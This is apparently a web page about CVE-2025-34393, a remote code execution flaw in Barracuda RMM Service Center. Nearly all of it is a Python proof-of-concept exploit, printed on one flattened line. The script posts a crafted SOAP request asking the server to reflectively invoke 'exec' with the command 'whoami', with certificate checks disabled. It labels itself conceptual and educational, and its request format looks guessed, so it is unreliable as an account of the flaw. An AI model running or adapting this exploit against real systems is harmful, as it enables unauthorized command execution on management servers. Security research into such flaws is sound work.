CVE-2025-34393 Barracuda RMM Service Center 不安全反射远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-34393 PoC - Barracuda RMM Service Center Insecure Reflection RCE Note: This is a conceptual PoC for educational and security research purposes only. """ import requests import xml.etree.ElementTree as ET from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = "https://TARGET_IP:PORT/servicecenter" def create_malicious_soap_request(): """ Create a malicious SOAP request targeting the vulnerable WSDL processing This PoC demonstrates the concept of exploiting insecure reflection """ # SOAP envelope with malicious WSDL service reference soap_envelope = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <soap:Header/> <soap:Body> <ns2:ProcessRequest xmlns:ns2="http://servicecenter.barracuda.com/"> <ServiceName>malicious.service.Class</ServiceName> <MethodName>exec</MethodName> <Parameters> <Parameter type="java.lang.String">whoami</Parameter> </Parameters> </ns2:ProcessRequest> </soap:Body> </soap:Envelope>""" return soap_envelope def exploit_insecure_reflection(target_url): """ Exploit the insecure reflection vulnerability """ headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""' } payload = create_malicious_soap_request() try: response = requests.post( target_url, data=payload, headers=headers, verify=False, timeout=30 ) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def main(): print("[*] CVE-2025-34393 Barracuda RMM Service Center RCE PoC") print(f"[*] Target: {TARGET_URL}") print("[*] Attempting to exploit insecure reflection vulnerability...") status, response = exploit_insecure_reflection(TARGET_URL) if status: print(f"[+] Response Status: {status}") print(f"[+] Response: {response[:500]}") else: print(f"[-] Request failed: {response}") if __name__ == "__main__": main()